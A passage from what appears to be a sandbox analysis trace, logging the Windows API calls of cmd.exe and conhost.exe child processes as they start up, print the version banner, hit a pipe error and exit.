??_V@YAXPEAX@Z () returned 0x2dd36e50060 [0149.366] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2dd36e50060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0149.366] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0149.366] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0149.366] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0149.366] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0149.366] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0149.366] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0149.366] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0149.367] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0149.367] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0149.367] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0149.367] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0149.367] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0149.367] GetProcessHeap () returned 0x2dd36c70000 [0149.367] RtlFreeHeap (HeapHandle=0x2dd36c70000, Flags=0x0, BaseAddress=0x2dd36c76500) returned 1 [0149.367] GetEnvironmentStringsW () returned 0x2dd36c75a60* [0149.367] GetProcessHeap () returned 0x2dd36c70000 [0149.367] RtlAllocateHeap (HeapHandle=0x2dd36c70000, Flags=0x8, Size=0xace) returned 0x2dd36c76540 [0149.367] FreeEnvironmentStringsA (penv="=") returned 1 [0149.367] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0149.367] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0149.367] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0149.367] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0149.367] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0149.367] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0149.367] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0149.367] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0149.367] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0149.367] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0149.367] malloc (_Size=0xffce) returned 0x2dd36e60040 [0149.367] ??_V@YAXPEAX@Z () returned 0x2dd36e60040 [0149.368] GetProcessHeap () returned 0x2dd36c70000 [0149.368] RtlAllocateHeap (HeapHandle=0x2dd36c70000, Flags=0x8, Size=0x38) returned 0x2dd36c78580 [0149.368] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2dd36e60040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0149.368] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x2dd36e60040, lpFilePart=0xff28eff620 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xff28eff620*="system32") returned 0x13 [0149.368] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0149.368] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xff28eff350 | out: lpFindFileData=0xff28eff350) returned 0x2dd36c785c0 [0149.369] FindClose (in: hFindFile=0x2dd36c785c0 | out: hFindFile=0x2dd36c785c0) returned 1 [0149.369] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xff28eff350 | out: lpFindFileData=0xff28eff350) returned 0x2dd36c785c0 [0149.369] FindClose (in: hFindFile=0x2dd36c785c0 | out: hFindFile=0x2dd36c785c0) returned 1 [0149.369] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0149.369] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0149.369] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0149.369] GetProcessHeap () returned 0x2dd36c70000 [0149.369] RtlFreeHeap (HeapHandle=0x2dd36c70000, Flags=0x0, BaseAddress=0x2dd36c76540) returned 1 [0149.369] GetEnvironmentStringsW () returned 0x2dd36c75a60* [0149.369] GetProcessHeap () returned 0x2dd36c70000 [0149.369] RtlAllocateHeap (HeapHandle=0x2dd36c70000, Flags=0x8, Size=0xafe) returned 0x2dd36c76570 [0149.369] FreeEnvironmentStringsA (penv="=") returned 1 [0149.369] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2dd36e40080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0149.369] GetProcessHeap () returned 0x2dd36c70000 [0149.369] RtlFreeHeap (HeapHandle=0x2dd36c70000, Flags=0x0, BaseAddress=0x2dd36c78580) returned 1 [0149.369] ??_V@YAXPEAX@Z () returned 0x1 [0149.369] ??_V@YAXPEAX@Z () returned 0x1 [0149.369] GetProcessHeap () returned 0x2dd36c70000 [0149.369] RtlAllocateHeap (HeapHandle=0x2dd36c70000, Flags=0x8, Size=0x4016) returned 0x2dd36c78580 [0149.370] GetProcessHeap () returned 0x2dd36c70000 [0149.370] RtlFreeHeap (HeapHandle=0x2dd36c70000, Flags=0x0, BaseAddress=0x2dd36c78580) returned 1 [0149.370] GetConsoleOutputCP () returned 0x1b5 [0149.532] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0149.532] GetUserDefaultLCID () returned 0x409 [0149.532] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7d4abbb78, cchData=8 | out: lpLCData=":") returned 2 [0149.532] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xff28eff9e0, cchData=128 | out: lpLCData="0") returned 2 [0149.532] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xff28eff9e0, cchData=128 | out: lpLCData="0") returned 2 [0149.532] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xff28eff9e0, cchData=128 | out: lpLCData="1") returned 2 [0149.532] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7d4abbb68, cchData=8 | out: lpLCData="/") returned 2 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7d4abbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7d4abbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7d4abba80, cchData=32 | out: lpLCData="Wed") returned 4 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7d4abba40, cchData=32 | out: lpLCData="Thu") returned 4 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7d4abba00, cchData=32 | out: lpLCData="Fri") returned 4 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7d4abb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7d4abb980, cchData=32 | out: lpLCData="Sun") returned 4 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7d4abbb58, cchData=8 | out: lpLCData=".") returned 2 [0149.533] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7d4abbb40, cchData=8 | out: lpLCData=",") returned 2 [0149.533] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0149.534] GetProcessHeap () returned 0x2dd36c70000 [0149.534] RtlAllocateHeap (HeapHandle=0x2dd36c70000, Flags=0x0, Size=0x20c) returned 0x2dd36c770f0 [0149.534] GetConsoleTitleW (in: lpConsoleTitle=0x2dd36c770f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0149.545] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.545] GetFileType (hFile=0x540) returned 0x3 [0149.545] ApiSetQueryApiSetPresence () returned 0x0 [0149.545] ResolveDelayLoadedAPI () returned 0x7ff9aca3d990 [0149.548] BrandingFormatString () returned 0x2dd36c762f0 [0149.554] GetVersion () returned 0x3ad7000a [0149.554] _vsnwprintf (in: _Buffer=0xff28effb40, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xff28effad8 | out: _Buffer="10.0.15063") returned 10 [0149.554] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.554] GetFileType (hFile=0x540) returned 0x3 [0149.554] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7d4ac7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0149.554] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7d4ac7f60, nSize=0x2000, Arguments=0xff28effae0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0149.554] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0149.554] WriteFile (in: hFile=0x540, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xff28effa38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xff28effa38, lpOverlapped=0x0) returned 0 [0149.554] GetLastError () returned 0xe8 [0149.554] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xff28effb08 | out: _Buffer="\r\n") returned 2 [0149.554] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.554] GetFileType (hFile=0x540) returned 0x3 [0149.555] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0149.555] WriteFile (in: hFile=0x540, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xff28effad8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xff28effad8, lpOverlapped=0x0) returned 0 [0149.555] GetLastError () returned 0xe8 [0149.555] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.555] GetFileType (hFile=0x540) returned 0x3 [0149.555] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.555] GetFileType (hFile=0x540) returned 0x3 [0149.555] _get_osfhandle (_FileHandle=2) returned 0x540 [0149.555] GetFileType (hFile=0x540) returned 0x3 [0149.555] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff7d4ac7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0149.555] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff7d4ac7f60, nSize=0x2000, Arguments=0xff28effa70 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0149.555] _get_osfhandle (_FileHandle=2) returned 0x540 [0149.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="The process tried to write to a nonexistent pipe.\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The process tried to write to a nonexistent pipe.\r\n", lpUsedDefaultChar=0x0) returned 52 [0149.555] WriteFile (in: hFile=0x540, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0xff28eff9c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xff28eff9c8, lpOverlapped=0x0) returned 0 [0149.555] GetLastError () returned 0xe8 [0149.555] exit (_Code=1) Thread: id = 111 os_tid = 0xbe4 Process: id = "14" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x50d1e000" os_pid = "0xf90" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xf88" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 85 os_tid = 0xf94 Thread: id = 92 os_tid = 0xfb4 Thread: id = 93 os_tid = 0xfb8 Thread: id = 107 os_tid = 0xff4 Thread: id = 109 os_tid = 0xffc Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3e409000" os_pid = "0xf98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xf7c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0xf9c [0147.994] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d4a80000 [0147.994] __set_app_type (_Type=0x1) [0147.994] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7d4a96d00) returned 0x0 [0147.994] __getmainargs (in: _Argc=0x7ff7d4ab9200, _Argv=0x7ff7d4ab9208, _Env=0x7ff7d4ab9210, _DoWildCard=0, _StartInfo=0x7ff7d4ab921c | out: _Argc=0x7ff7d4ab9200, _Argv=0x7ff7d4ab9208, _Env=0x7ff7d4ab9210) returned 0 [0147.994] _onexit (_Func=0x7ff7d4a97fd0) returned 0x7ff7d4a97fd0 [0147.994] _onexit (_Func=0x7ff7d4a97fe0) returned 0x7ff7d4a97fe0 [0147.994] _onexit (_Func=0x7ff7d4a97ff0) returned 0x7ff7d4a97ff0 [0147.995] _onexit (_Func=0x7ff7d4a98000) returned 0x7ff7d4a98000 [0147.995] _onexit (_Func=0x7ff7d4a98010) returned 0x7ff7d4a98010 [0147.995] _onexit (_Func=0x7ff7d4a98020) returned 0x7ff7d4a98020 [0147.995] GetCurrentThreadId () returned 0xf9c [0147.995] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf9c) returned 0x70 [0147.995] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b4be0000 [0147.995] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="SetThreadUILanguage") returned 0x7ff9b4bfa990 [0147.995] SetThreadUILanguage (LangId=0x0) returned 0x409 [0148.552] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0148.552] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x8484f8fb48 | out: phkResult=0x8484f8fb48*=0x0) returned 0x2 [0148.552] VirtualQuery (in: lpAddress=0x8484f8fb34, lpBuffer=0x8484f8fab0, dwLength=0x30 | out: lpBuffer=0x8484f8fab0*(BaseAddress=0x8484f8f000, AllocationBase=0x8484e90000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff802)) returned 0x30 [0148.552] VirtualQuery (in: lpAddress=0x8484e90000, lpBuffer=0x8484f8fab0, dwLength=0x30 | out: lpBuffer=0x8484f8fab0*(BaseAddress=0x8484e90000, AllocationBase=0x8484e90000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0xfffff802)) returned 0x30 [0148.552] VirtualQuery (in: lpAddress=0x8484e91000, lpBuffer=0x8484f8fab0, dwLength=0x30 | out: lpBuffer=0x8484f8fab0*(BaseAddress=0x8484e91000, AllocationBase=0x8484e90000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0xfffff802)) returned 0x30 [0148.552] VirtualQuery (in: lpAddress=0x8484e94000, lpBuffer=0x8484f8fab0, dwLength=0x30 | out: lpBuffer=0x8484f8fab0*(BaseAddress=0x8484e94000, AllocationBase=0x8484e90000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff802)) returned 0x30 [0148.553] VirtualQuery (in: lpAddress=0x8484f90000, lpBuffer=0x8484f8fab0, dwLength=0x30 | out: lpBuffer=0x8484f8fab0*(BaseAddress=0x8484f90000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff9601, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0xfffff802)) returned 0x30 [0148.553] GetConsoleOutputCP () returned 0x1b5 [0149.370] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0149.370] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7d4aa8150, Add=1) returned 1 [0149.370] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.370] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d4abfc04 | out: lpMode=0x7ff7d4abfc04) returned 0 [0149.370] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.370] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d4abfc00 | out: lpMode=0x7ff7d4abfc00) returned 0 [0149.370] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.370] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0149.371] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.371] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d4abfc08 | out: lpMode=0x7ff7d4abfc08) returned 0 [0149.371] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.371] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d4abfc0c | out: lpMode=0x7ff7d4abfc0c) returned 0 [0149.371] GetEnvironmentStringsW () returned 0x206da0a5a10* [0149.371] GetProcessHeap () returned 0x206da0a0000 [0149.371] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xa7c) returned 0x206da0a64a0 [0149.371] FreeEnvironmentStringsA (penv="A") returned 1 [0149.371] GetProcessHeap () returned 0x206da0a0000 [0149.371] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x8) returned 0x206da0a6f30 [0149.371] GetEnvironmentStringsW () returned 0x206da0a5a10* [0149.371] GetProcessHeap () returned 0x206da0a0000 [0149.371] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xa7c) returned 0x206da0a6f50 [0149.371] FreeEnvironmentStringsA (penv="A") returned 1 [0149.371] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8484f8e9f8 | out: phkResult=0x8484f8e9f8*=0x7c) returned 0x0 [0149.371] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x0, lpData=0x8484f8ea10*=0x4, lpcbData=0x8484f8e9f4*=0x1000) returned 0x2 [0149.371] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x4, lpData=0x8484f8ea10*=0x1, lpcbData=0x8484f8e9f4*=0x4) returned 0x0 [0149.371] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x0, lpData=0x8484f8ea10*=0x1, lpcbData=0x8484f8e9f4*=0x1000) returned 0x2 [0149.371] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x4, lpData=0x8484f8ea10*=0x0, lpcbData=0x8484f8e9f4*=0x4) returned 0x0 [0149.371] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x4, lpData=0x8484f8ea10*=0x40, lpcbData=0x8484f8e9f4*=0x4) returned 0x0 [0149.371] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x4, lpData=0x8484f8ea10*=0x40, lpcbData=0x8484f8e9f4*=0x4) returned 0x0 [0149.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x0, lpData=0x8484f8ea10*=0x40, lpcbData=0x8484f8e9f4*=0x1000) returned 0x2 [0149.372] RegCloseKey (hKey=0x7c) returned 0x0 [0149.372] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8484f8e9f8 | out: phkResult=0x8484f8e9f8*=0x7c) returned 0x0 [0149.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x0, lpData=0x8484f8ea10*=0x40, lpcbData=0x8484f8e9f4*=0x1000) returned 0x2 [0149.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x4, lpData=0x8484f8ea10*=0x1, lpcbData=0x8484f8e9f4*=0x4) returned 0x0 [0149.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x0, lpData=0x8484f8ea10*=0x1, lpcbData=0x8484f8e9f4*=0x1000) returned 0x2 [0149.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x4, lpData=0x8484f8ea10*=0x0, lpcbData=0x8484f8e9f4*=0x4) returned 0x0 [0149.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x4, lpData=0x8484f8ea10*=0x9, lpcbData=0x8484f8e9f4*=0x4) returned 0x0 [0149.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x4, lpData=0x8484f8ea10*=0x9, lpcbData=0x8484f8e9f4*=0x4) returned 0x0 [0149.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8484f8e9f0, lpData=0x8484f8ea10, lpcbData=0x8484f8e9f4*=0x1000 | out: lpType=0x8484f8e9f0*=0x0, lpData=0x8484f8ea10*=0x9, lpcbData=0x8484f8e9f4*=0x1000) returned 0x2 [0149.372] RegCloseKey (hKey=0x7c) returned 0x0 [0149.372] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca90b79 [0149.372] srand (_Seed=0x5ca90b79) [0149.372] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0149.372] malloc (_Size=0x4000) returned 0x206da2354f0 [0149.372] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0149.372] malloc (_Size=0xffce) returned 0x206da240080 [0149.373] ??_V@YAXPEAX@Z () returned 0x206da240080 [0149.373] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x206da240080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0149.373] malloc (_Size=0xffce) returned 0x206da250060 [0149.373] ??_V@YAXPEAX@Z () returned 0x206da250060 [0149.374] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x206da250060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0149.374] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0149.374] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0149.374] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0149.374] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0149.374] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0149.374] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0149.374] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0149.374] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0149.374] _wcsicmp (_String1="PROMPT", 